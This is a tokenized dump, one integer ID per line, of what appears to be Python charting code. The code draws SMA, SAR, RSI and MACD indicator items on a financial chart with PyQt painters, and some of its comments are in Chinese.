29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
1426,
353,
5124,
13,
4706,
2594,
353,
1583,
3032,
12847,
29889,
657,
29918,
1646,
29898,
861,
29897,
13,
4706,
565,
2594,
29901,
13,
9651,
1426,
353,
285,
29908,
11123,
26254,
1646,
29889,
5358,
29918,
9175,
5038,
13,
4706,
736,
1426,
13,
13,
1990,
317,
655,
2001,
29898,
1252,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
9539,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29896,
29900,
29900,
29892,
29871,
29896,
29900,
29900,
29892,
29871,
29906,
29945,
29945,
511,
2920,
29922,
29906,
29897,
13,
13,
4706,
1583,
29889,
7165,
353,
29871,
29896,
29900,
13,
13,
1678,
822,
2767,
29918,
5975,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
10318,
995,
13,
4706,
9995,
13,
4706,
1583,
29889,
5975,
353,
5969,
747,
29889,
29903,
1529,
29898,
1311,
29889,
314,
29889,
5358,
14352,
1311,
29889,
314,
29889,
2798,
29901,
1402,
1311,
29889,
7165,
29897,
13,
13,
1678,
822,
903,
4012,
29918,
1646,
29918,
12095,
29898,
1311,
29892,
474,
29916,
29901,
938,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
14705,
28707,
29889,
29984,
28210,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
995,
353,
1583,
29889,
5975,
29961,
861,
29962,
13,
4706,
1833,
29918,
1767,
353,
1583,
29889,
5975,
29961,
861,
448,
29871,
29896,
29962,
13,
4706,
396,
6204,
3618,
13,
4706,
7623,
353,
14705,
28707,
29889,
29984,
28210,
580,
13,
4706,
23187,
353,
14705,
28707,
29889,
29984,
29925,
475,
357,
29898,
12095,
29897,
13,
13,
4706,
396,
3789,
23187,
2927,
13,
4706,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
9539,
29918,
2238,
29897,
13,
13,
4706,
396,
18492,
7407,
13,
4706,
565,
7442,
29889,
275,
13707,
29898,
4230,
29918,
1767,
29897,
470,
7442,
29889,
275,
13707,
29898,
1767,
1125,
13,
9651,
396,
1596,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
1767,
29892,
861,
29892,
995,
29892,
29897,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
1369,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29899,
29896,
29892,
1833,
29918,
1767,
29897,
13,
9651,
1095,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
995,
29897,
13,
9651,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29892,
1095,
29918,
3149,
29897,
13,
13,
4706,
396,
4231,
728,
13,
4706,
23187,
29889,
355,
580,
13,
4706,
736,
7623,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
1405,
29871,
29900,
29901,
13,
9651,
1426,
353,
285,
29908,
29903,
1529,
426,
1311,
29889,
5975,
29961,
861,
5387,
29889,
29896,
29888,
5038,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
29903,
1529,
448,
29908,
13,
13,
4706,
736,
1426,
13,
1990,
7745,
2001,
29898,
1252,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
29892,
28178,
29901,
7411,
353,
29871,
29900,
29889,
29900,
29906,
29892,
7472,
29901,
7411,
353,
29871,
29900,
29889,
29906,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
29136,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
511,
2920,
29922,
29906,
29897,
13,
4706,
1583,
29889,
29136,
29918,
1182,
1878,
29901,
14705,
28707,
29889,
29984,
27680,
353,
23822,
29889,
11256,
27680,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
876,
13,
13,
4706,
1583,
29889,
562,
2242,
261,
362,
353,
28178,
13,
4706,
1583,
29889,
27525,
398,
353,
7472,
13,
13,
1678,
822,
2767,
29918,
5975,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
10318,
995,
13,
4706,
9995,
13,
4706,
1583,
29889,
5975,
353,
5969,
747,
29889,
29903,
1718,
29898,
1311,
29889,
314,
29889,
9812,
14352,
1311,
29889,
314,
29889,
2798,
29901,
1402,
1583,
29889,
314,
29889,
677,
14352,
1311,
29889,
314,
29889,
2798,
29901,
1402,
1583,
29889,
562,
2242,
261,
362,
29892,
1583,
29889,
27525,
398,
29897,
13,
13,
1678,
822,
903,
4012,
29918,
1646,
29918,
12095,
29898,
1311,
29892,
474,
29916,
29901,
938,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
14705,
28707,
29889,
29984,
28210,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
995,
353,
1583,
29889,
5975,
29961,
861,
29962,
13,
4706,
1833,
29918,
1767,
353,
1583,
29889,
5975,
29961,
861,
448,
29871,
29896,
29962,
13,
4706,
396,
6204,
3618,
13,
4706,
7623,
353,
14705,
28707,
29889,
29984,
28210,
580,
13,
4706,
23187,
353,
14705,
28707,
29889,
29984,
29925,
475,
357,
29898,
12095,
29897,
13,
13,
4706,
396,
3789,
23187,
2927,
13,
4706,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
29136,
29918,
2238,
29897,
13,
4706,
396,
23187,
29889,
842,
27680,
29898,
1311,
29889,
29136,
29918,
1182,
1878,
29897,
13,
13,
4706,
396,
18492,
7407,
13,
4706,
565,
7442,
29889,
275,
13707,
29898,
4230,
29918,
1767,
29897,
470,
7442,
29889,
275,
13707,
29898,
1767,
1125,
13,
9651,
396,
1596,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
1767,
29892,
861,
29892,
995,
29892,
29897,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
1369,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29899,
29896,
29892,
1833,
29918,
1767,
29897,
13,
9651,
1095,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
995,
29897,
13,
9651,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29892,
1095,
29918,
3149,
29897,
13,
13,
4706,
396,
18492,
27927,
13,
4706,
396,
23187,
29889,
4012,
6489,
5843,
29898,
17303,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
1583,
29889,
5975,
29961,
861,
11724,
29871,
29906,
29892,
29871,
29906,
29897,
13,
13,
4706,
396,
4231,
728,
13,
4706,
23187,
29889,
355,
580,
13,
4706,
736,
7623,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
6736,
29871,
29900,
29901,
13,
9651,
1426,
353,
285,
29908,
29903,
1718,
426,
1311,
29889,
5975,
29961,
861,
5387,
29889,
29896,
29888,
5038,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
29903,
1718,
448,
29908,
13,
13,
4706,
736,
1426,
13,
13,
1990,
390,
1039,
2001,
29898,
1252,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
10921,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
2920,
29922,
29896,
29897,
13,
4706,
1583,
29889,
29136,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
511,
2920,
29922,
29906,
29897,
13,
13,
4706,
1583,
29889,
29878,
1039,
29918,
7165,
353,
29871,
29896,
29946,
13,
13,
1678,
822,
2767,
29918,
5975,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
10318,
995,
13,
4706,
9995,
13,
4706,
1583,
29889,
5975,
353,
5969,
747,
29889,
29934,
5425,
29898,
1311,
29889,
314,
29889,
5358,
14352,
1311,
29889,
314,
29889,
2798,
29901,
1402,
1583,
29889,
29878,
1039,
29918,
7165,
29897,
13,
13,
1678,
822,
903,
4012,
29918,
1646,
29918,
12095,
29898,
1311,
29892,
474,
29916,
29901,
938,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
14705,
28707,
29889,
29984,
28210,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
364,
1039,
29918,
1767,
353,
1583,
29889,
5975,
29961,
861,
29962,
13,
4706,
1833,
29918,
29878,
1039,
29918,
1767,
353,
1583,
29889,
5975,
29961,
861,
448,
29871,
29896,
29962,
13,
13,
4706,
396,
6204,
3618,
13,
4706,
7623,
353,
14705,
28707,
29889,
29984,
28210,
580,
13,
4706,
23187,
353,
14705,
28707,
29889,
29984,
29925,
475,
357,
29898,
12095,
29897,
13,
13,
4706,
396,
18492,
390,
5425,
1196,
13,
4706,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
29136,
29918,
2238,
29897,
13,
13,
4706,
565,
7442,
29889,
275,
13707,
29898,
4230,
29918,
29878,
1039,
29918,
1767,
29897,
470,
7442,
29889,
275,
13707,
29898,
29878,
1039,
29918,
1767,
1125,
13,
9651,
396,
1596,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
29878,
1039,
29918,
1767,
29892,
861,
29892,
364,
1039,
29918,
1767,
29892,
29897,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
1095,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
364,
1039,
29918,
1767,
29897,
13,
9651,
1369,
29918,
3149,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
29878,
1039,
29918,
1767,
29897,
13,
9651,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29892,
1095,
29918,
3149,
29897,
13,
13,
4706,
396,
18492,
288,
874,
1025,
29914,
957,
29890,
1774,
1196,
13,
4706,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
10921,
29918,
2238,
29897,
13,
13,
4706,
23187,
29889,
4012,
3542,
29898,
13,
9651,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
29871,
29955,
29900,
511,
13,
9651,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
29871,
29955,
29900,
511,
13,
4706,
1723,
13,
13,
4706,
23187,
29889,
4012,
3542,
29898,
13,
9651,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
29871,
29941,
29900,
511,
13,
9651,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
29871,
29941,
29900,
511,
13,
4706,
1723,
13,
13,
4706,
396,
4231,
728,
13,
4706,
23187,
29889,
355,
580,
13,
4706,
736,
7623,
13,
13,
1678,
822,
3216,
292,
7364,
29898,
1311,
29897,
1599,
14705,
9203,
29889,
29984,
7364,
29943,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
396,
1375,
29918,
9175,
29892,
4236,
29918,
9175,
353,
1583,
3032,
12847,
29889,
657,
29918,
9175,
29918,
3881,
580,
13,
4706,
7705,
353,
14705,
9203,
29889,
29984,
7364,
29943,
29898,
13,
632,
29900,
29892,
13,
632,
29900,
29892,
13,
9651,
7431,
29898,
1311,
3032,
1646,
29918,
16447,
329,
1973,
511,
13,
632,
29896,
29900,
29900,
13,
4706,
1723,
13,
4706,
736,
7705,
13,
13,
1678,
822,
679,
29918,
29891,
29918,
3881,
29898,
1583,
29892,
1375,
29918,
861,
29901,
938,
353,
6213,
29892,
4236,
29918,
861,
29901,
938,
353,
6213,
29897,
1599,
12603,
552,
29961,
7411,
29892,
5785,
5387,
13,
4706,
9995,
29871,
9995,
13,
4706,
736,
29871,
29900,
29892,
29871,
29896,
29900,
29900,
13,
13,
1678,
822,
679,
29918,
3888,
29918,
726,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
851,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
1405,
29871,
29900,
29901,
13,
9651,
364,
1039,
29918,
1767,
353,
1583,
29889,
5975,
29961,
861,
29962,
13,
9651,
1426,
353,
285,
29908,
29934,
5425,
426,
29878,
1039,
29918,
1767,
29901,
29889,
29896,
29888,
5038,
13,
9651,
396,
1596,
29898,
726,
29897,
13,
4706,
1683,
29901,
13,
9651,
1426,
353,
376,
29934,
5425,
448,
29908,
13,
13,
4706,
736,
1426,
13,
13,
13,
1753,
304,
29918,
524,
29898,
1767,
29901,
5785,
29897,
1599,
938,
29901,
13,
1678,
9995,
15945,
29908,
13,
1678,
736,
938,
29898,
14486,
29898,
1767,
29892,
29871,
29900,
876,
13,
13,
15945,
29908,
29871,
30998,
29891,
30525,
31331,
30210,
31542,
30858,
235,
143,
134,
232,
158,
183,
233,
140,
172,
30257,
30780,
29896,
29889,
29896,
9995,
13,
1753,
10365,
29918,
3881,
29898,
262,
29918,
3881,
29901,
23215,
552,
29961,
7411,
29892,
5785,
2314,
976,
23215,
552,
29961,
7411,
29892,
5785,
5387,
13,
1678,
3240,
29918,
3881,
29901,
23215,
552,
29961,
7411,
29892,
5785,
29962,
13,
1678,
2923,
353,
6425,
29898,
262,
29918,
3881,
29961,
29900,
29962,
448,
297,
29918,
3881,
29961,
29896,
2314,
13,
1678,
3240,
29918,
3881,
353,
313,
262,
29918,
3881,
29961,
29900,
29962,
29899,
12765,
29930,
29900,
29889,
29900,
29945,
29892,
262,
29918,
3881,
29961,
29896,
10062,
12765,
29930,
29900,
29889,
29900,
29945,
29897,
13,
1678,
736,
3240,
29918,
3881,
13,
13,
1990,
4326,
29881,
2001,
29898,
1252,
14732,
2001,
1125,
13,
1678,
9995,
15945,
29908,
13,
1678,
903,
5975,
29918,
29878,
6916,
29901,
360,
919,
29961,
23215,
552,
29961,
524,
29892,
938,
1402,
12603,
552,
29961,
7411,
29892,
5785,
5262,
353,
6571,
13,
13,
1678,
1833,
29918,
3881,
29901,
23215,
552,
29961,
524,
29892,
938,
29962,
353,
8521,
29896,
6653,
29896,
29897,
1678,
396,
29871,
30878,
30374,
31542,
30858,
29968,
31532,
31836,
31674,
235,
143,
134,
232,
158,
183,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
8455,
29901,
2261,
3260,
29892,
626,
584,
4398,
3260,
1125,
13,
4706,
9995,
15945,
29908,
13,
4706,
2428,
2141,
1649,
2344,
12035,
12847,
29892,
626,
29897,
13,
13,
4706,
1583,
29889,
10921,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
2920,
29922,
29896,
29897,
13,
4706,
1583,
29889,
29136,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
511,
2920,
29922,
29896,
29897,
13,
4706,
1583,
29889,
1127,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29906,
29945,
29945,
29892,
29871,
29900,
29892,
29871,
29900,
511,
2920,
29922,
29896,
29897,
13,
4706,
1583,
29889,
12692,
29918,
2238,
29901,
14705,
28707,
29889,
29984,
29925,
264,
353,
23822,
29889,
11256,
29925,
264,
29898,
2780,
7607,
29900,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29900,
511,
2920,
29922,
29896,
29897,
13,
13,
4706,
1583,
29889,
12759,
29918,
7165,
353,
29871,
29896,
29906,
13,
4706,
1583,
29889,
5426,
29918,
7165,
353,
29871,
29906,
29953,
13,
4706,
1583,
29889,
29924,
353,
29871,
29929,
13,
13,
4706,
1583,
29889,
8628,
29881,
29918,
1272,
29901,
360,
919,
29961,
524,
29892,
12603,
552,
29961,
7411,
29892,
7411,
29892,
7411,
5262,
353,
6571,
13,
13,
1678,
822,
679,
29918,
8628,
29881,
29918,
1767,
29898,
1311,
29892,
474,
29916,
29901,
938,
29897,
1599,
12603,
552,
29961,
7411,
29892,
7411,
29892,
7411,
5387,
13,
4706,
9995,
15945,
29908,
13,
4706,
565,
474,
29916,
529,
29871,
29900,
29901,
13,
9651,
736,
313,
29900,
29889,
29900,
29892,
29900,
29889,
29900,
29892,
29900,
29889,
29900,
29897,
13,
13,
4706,
396,
1932,
11905,
29892,
8147,
599,
5825,
29881,
995,
13,
4706,
565,
451,
1583,
29889,
8628,
29881,
29918,
1272,
29901,
13,
9651,
22306,
353,
1583,
3032,
12847,
29889,
657,
29918,
497,
29918,
28408,
580,
13,
9651,
3802,
29918,
1272,
353,
518,
1646,
29889,
5358,
29918,
9175,
363,
2594,
297,
22306,
29962,
13,
13,
9651,
2923,
29879,
29892,
311,
294,
29892,
8628,
6289,
353,
5969,
747,
29889,
1529,
6530,
29898,
9302,
29889,
2378,
29898,
5358,
29918,
1272,
511,
13,
462,
462,
1678,
5172,
19145,
29922,
1311,
29889,
12759,
29918,
7165,
29892,
13,
462,
462,
1678,
5232,
19145,
29922,
1311,
29889,
5426,
29918,
7165,
29892,
13,
462,
462,
1678,
7182,
19145,
29922,
1311,
29889,
29924,
29897,
13,
13,
9651,
363,
302,
297,
3464,
29898,
29900,
29892,
2435,
29898,
12765,
29879,
22164,
13,
18884,
1583,
29889,
8628,
29881,
29918,
1272,
29961,
29876,
29962,
353,
313,
12765,
29879,
29961,
29876,
1402,
311,
294,
29961,
29876,
1402,
8628,
6289,
29961,
29876,
2314,
13,
13,
4706,
396,
7106,
565,
2307,
22235,
950,
9446,
13,
4706,
565,
474,
29916,
297,
1583,
29889,
8628,
29881,
29918,
1272,
29901,
13,
9651,
736,
1583,
29889,
8628,
29881,
29918,
1272,
29961,
861,
29962,
13,
13,
4706,
396,
15785,
8147,
716,
995,
13,
4706,
3802,
29918,
1272,
353,
5159,
13,
4706,
363,
302,
297,
3464,
29898,
861,
29899,
1311,
29889,
5426,
29918,
7165,
29899,
1311,
29889,
29924,
29974,
29896,
29892,
474,
29916,
718,
29871,
29896,
1125,
13,
9651,
2594,
353,
1583,
3032,
12847,
29889,
657,
29918,
1646,
29898,
29876,
29897,
13,
9651,
3802,
29918,
1272,
29889,
4397,
29898,
1646,
29889,
5358,
29918,
9175,
29897,
13,
13,
4706,
2923,
29879,
29892,
311,
294,
29892,
8628,
6289,
353,
5969,
747,
29889,
1529,
6530,
29898,
9302,
29889,
2378,
29898,
5358,
29918,
1272,
511,
13,
462,
462,
9651,
5172,
19145,
29922,
1311,
29889,
12759,
29918,
7165,
29892,
13,
462,
462,
9651,
5232,
19145,
29922,
1311,
29889,
5426,
29918,
7165,
29892,
13,
462,
462,
9651,
7182,
19145,
29922,
1311,
29889,
29924,
29897,
13,
4706,
2923,
29892,
311,
29874,
29892,
8628,
29881,
353,
2923,
29879,
14352,
29896,
1402,
311,
294,
14352,
29896,
1402,
8628,
6289,
14352,
29896,
29962,
13,
4706,
1583,
29889,
8628,
29881,
29918,
1272,
29961,
861,
29962,
353,
313,
12765,
29892,
311,
29874,
29892,
8628,
29881,
29897,
13,
13,
4706,
736,
313,
12765,
29892,
311,
29874,
29892,
8628,
29881,
29897,
13,
13,
1678,
822,
903,
4012,
29918,
1646,
29918,
12095,
29898,
1311,
29892,
474,
29916,
29901,
938,
29892,
2594,
29901,
2261,
1469,
29897,
1599,
14705,
28707,
29889,
29984,
28210,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
5825,
29881,
29918,
1767,
353,
1583,
29889,
657,
29918,
8628,
29881,
29918,
1767,
29898,
861,
29897,
13,
4706,
1833,
29918,
8628,
29881,
29918,
1767,
353,
1583,
29889,
657,
29918,
8628,
29881,
29918,
1767,
29898,
861,
448,
29871,
29896,
29897,
13,
13,
4706,
396,
396,
6204,
3618,
13,
4706,
7623,
353,
14705,
28707,
29889,
29984,
28210,
580,
13,
4706,
23187,
353,
14705,
28707,
29889,
29984,
29925,
475,
357,
29898,
12095,
29897,
13,
13,
4706,
396,
396,
18492,
5825,
29881,
3454,
13,
4706,
565,
7442,
29889,
275,
13707,
29898,
8628,
29881,
29918,
1767,
29961,
29900,
2314,
470,
7442,
29889,
275,
13707,
29898,
4230,
29918,
8628,
29881,
29918,
1767,
29961,
29900,
29962,
1125,
13,
9651,
396,
1596,
703,
234,
152,
168,
31138,
8628,
29881,
3454,
29900,
1159,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
1095,
29918,
3149,
29900,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
5825,
29881,
29918,
1767,
29961,
29900,
2314,
13,
9651,
1369,
29918,
3149,
29900,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
8628,
29881,
29918,
1767,
29961,
29900,
2314,
13,
9651,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
10921,
29918,
2238,
29897,
13,
9651,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29900,
29892,
1095,
29918,
3149,
29900,
29897,
13,
13,
4706,
565,
7442,
29889,
275,
13707,
29898,
8628,
29881,
29918,
1767,
29961,
29896,
2314,
470,
7442,
29889,
275,
13707,
29898,
4230,
29918,
8628,
29881,
29918,
1767,
29961,
29896,
29962,
1125,
13,
9651,
396,
1596,
703,
234,
152,
168,
31138,
8628,
29881,
3454,
29896,
1159,
13,
9651,
1209,
13,
4706,
1683,
29901,
13,
9651,
1095,
29918,
3149,
29896,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
29892,
5825,
29881,
29918,
1767,
29961,
29896,
2314,
13,
9651,
1369,
29918,
3149,
29896,
353,
14705,
9203,
29889,
29984,
5228,
29943,
29898,
861,
448,
29871,
29896,
29892,
1833,
29918,
8628,
29881,
29918,
1767,
29961,
29896,
2314,
13,
9651,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
29136,
29918,
2238,
29897,
13,
9651,
23187,
29889,
4012,
3542,
29898,
2962,
29918,
3149,
29896,
29892,
1095,
29918,
3149,
29896,
29897,
13,
13,
4706,
565,
451,
7442,
29889,
275,
13707,
29898,
8628,
29881,
29918,
1767,
29961,
29906,
29962,
1125,
13,
9651,
565,
313,
8628,
29881,
29918,
1767,
29961,
29906,
29962,
29958,
29900,
1125,
13,
18884,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
1127,
29918,
2238,
29897,
13,
18884,
23187,
29889,
842,
27680,
29898,
4061,
29889,
11256,
27680,
29898,
29906,
29945,
29945,
29892,
29900,
29892,
29900,
876,
13,
9651,
1683,
29901,
13,
18884,
23187,
29889,
842,
29925,
264,
29898,
1311,
29889,
12692,
29918,
2238,
29897,
13,
18884,
23187,
29889,
842,
27680,
29898,
4061,
29889,
11256,
27680,
29898,
29900,
29892,
29906,
29945,
29945,
29892,
29900,
876,
13,
9651,
23187,
29889,
4012,
7364,
29898,
17303,
9203,
29889,
29984,
7364,
29943,
29898,
861,
29899,
29900,
29889,
29941,
29892,
29900,
29892,
29900,
29889,
29953,
29892,
8628,
29881,
29918,
1767,
29961,
29906,
12622,
13,
4706,
1683,
29901,
13,
9651,
396,
1596,
703,
234,
152,
168,
31138,
8628,
29881,
3454,
29906,
1159,
13,
9651,
1209,
13,
13,
4706,
23187,
29889,
355,
580,
13,
4706,
736,
7623,
13,
13,
1678,
822,
3216,
292,
7364,
29898,
1311,
29897,
1599,
14705,
9203,
29889,
29984,
7364,
29943,
29901,
13,
4706,
9995,
15945,
29908,
13,
4706,
1375,
29918,
29891,
29892,
4236,
29918,
29891,
353,
1583,
29889,
657,
29918,
29891,
29918,
3881,
580,
13,
4706,
7705,
353,
14705,
9203,
29889,
29984,
7364,
29943,
29898,
13,
632,
29900,
29892,
13,
9651,
1375,
29918,
29891,
29892,
13,
9651,
7431,
29898,
1311,
3032,
1646,
29918,
16447,
329,
1973,
511,
13,
9651,
4236,
29918,
29891,
13,
4706,
1723,
13,
4706,
736,
7705,
13,
13,
1678,
822,
679,
29918,
29891,
29918,
3881,
29898,
1311,
29892,
1375,
29918,
861,
29901,
938,
353,
6213,
29892,
4236,
29918,
861,
29901,
938,
353,
6213,
29897,
1599,
12603,
552,
29961,
7411,
29892,
5785,
5387,
13,
4706,
396,
1678,
31024,
31050,
29941,
30502,
31084,
31062,
30505,
29891,
235,
192,
183,
30525,
31331,
30210,
235,
143,
134,
232,
158,
183,
13,
4706,
396,
259,
298,
4419,
1645,
29871,
31273,
31264,
30214,
29906,
29900,
29906,
29900,
29899,
29953,
29899,
29906,
29929,
13,
4706,
396,
1678,
30948,
31542,
30858,
235,
143,
134,
232,
158,
183,
31264,
31462,
30594,
30214,
1195,
29918,
861,
29892,
3317,
29918,
861,
30210,
30959,
30413,
30573,
8516,
30214,
30948,
31542,
30858,
235,
143,
134,
232,
158,
183,
30413,
31462,
30594,
30214,
1195,
29918,
861,
29892,
3317,
29918,
861,
30210,
30959,
30413,
30573,
8516,
30214,
13,
13,
4706,
9210,
353,
4236,
29898,
1311,
29889,
12759,
29918,
7165,
29892,
1311,
29889,
5426,
29918,
7165,
29897,
718,
1583,
29889,
29924,
448,
29871,
29896,
13,
13,
4706,
565,
451,
1583,
29889,
8628,
29881,
29918,
1272,
470,
7431,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
29897,
529,
9210,
29901,
13,
9651,
736,
29871,
29900,
29889,
29900,
29892,
29871,
29896,
29889,
29900,
13,
13,
4706,
396,
1596,
703,
2435,
310,
3464,
9657,
29901,
613,
2435,
29898,
1311,
3032,
5975,
29918,
29878,
6916,
511,
613,
8628,
29881,
29918,
1272,
29901,
613,
2435,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
21336,
1195,
29918,
861,
29892,
3317,
29918,
861,
876,
13,
13,
4706,
565,
1375,
29918,
861,
2804,
6213,
29901,
3986,
396,
29871,
31268,
233,
152,
183,
30878,
30446,
29968,
31532,
31836,
31674,
13,
9651,
1375,
29918,
861,
353,
4236,
29898,
1195,
29918,
861,
29892,
10289,
29897,
13,
13,
4706,
565,
4236,
29918,
861,
2804,
6213,
29901,
3986,
396,
29871,
31268,
233,
152,
183,
30878,
30257,
29968,
31532,
31836,
31674,
13,
9651,
4236,
29918,
861,
353,
1375,
29898,
3317,
29918,
861,
29892,
7431,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
6817,
29896,
29897,
13,
13,
4706,
1833,
29918,
3881,
353,
313,
1195,
29918,
861,
29892,
3317,
29918,
861,
29897,
1678,
396,
29871,
31088,
31376,
30210,
30878,
30374,
235,
143,
134,
232,
158,
183,
13,
13,
4706,
565,
1833,
29918,
3881,
1275,
313,
8516,
29892,
8516,
1125,
259,
396,
29871,
30948,
31542,
30858,
235,
143,
134,
232,
158,
183,
30413,
31462,
30594,
13,
9651,
565,
1583,
29889,
4230,
29918,
3881,
297,
1583,
3032,
5975,
29918,
29878,
6916,
29901,
13,
18884,
396,
29871,
30847,
30801,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
31290,
31412,
30982,
30946,
13,
18884,
396,
29871,
235,
178,
190,
30683,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
13,
18884,
1121,
353,
1583,
3032,
5975,
29918,
29878,
6916,
29961,
1311,
29889,
4230,
29918,
3881,
29962,
13,
18884,
396,
1596,
703,
29896,
29901,
613,
1311,
29889,
4230,
29918,
3881,
29892,
2914,
29897,
13,
18884,
736,
10365,
29918,
3881,
29898,
2914,
29897,
13,
9651,
1683,
29901,
13,
18884,
396,
29871,
30847,
30801,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
31423,
30417,
30982,
30946,
13,
18884,
396,
29871,
31594,
8628,
29881,
29918,
1272,
30908,
30374,
31466,
31565,
29891,
30525,
31331,
235,
143,
134,
232,
158,
183,
13,
18884,
1375,
29918,
861,
29892,
3317,
29918,
861,
353,
29871,
29900,
29892,
2435,
29898,
1311,
29889,
8628,
29881,
29918,
1272,
6817,
29896,
13,
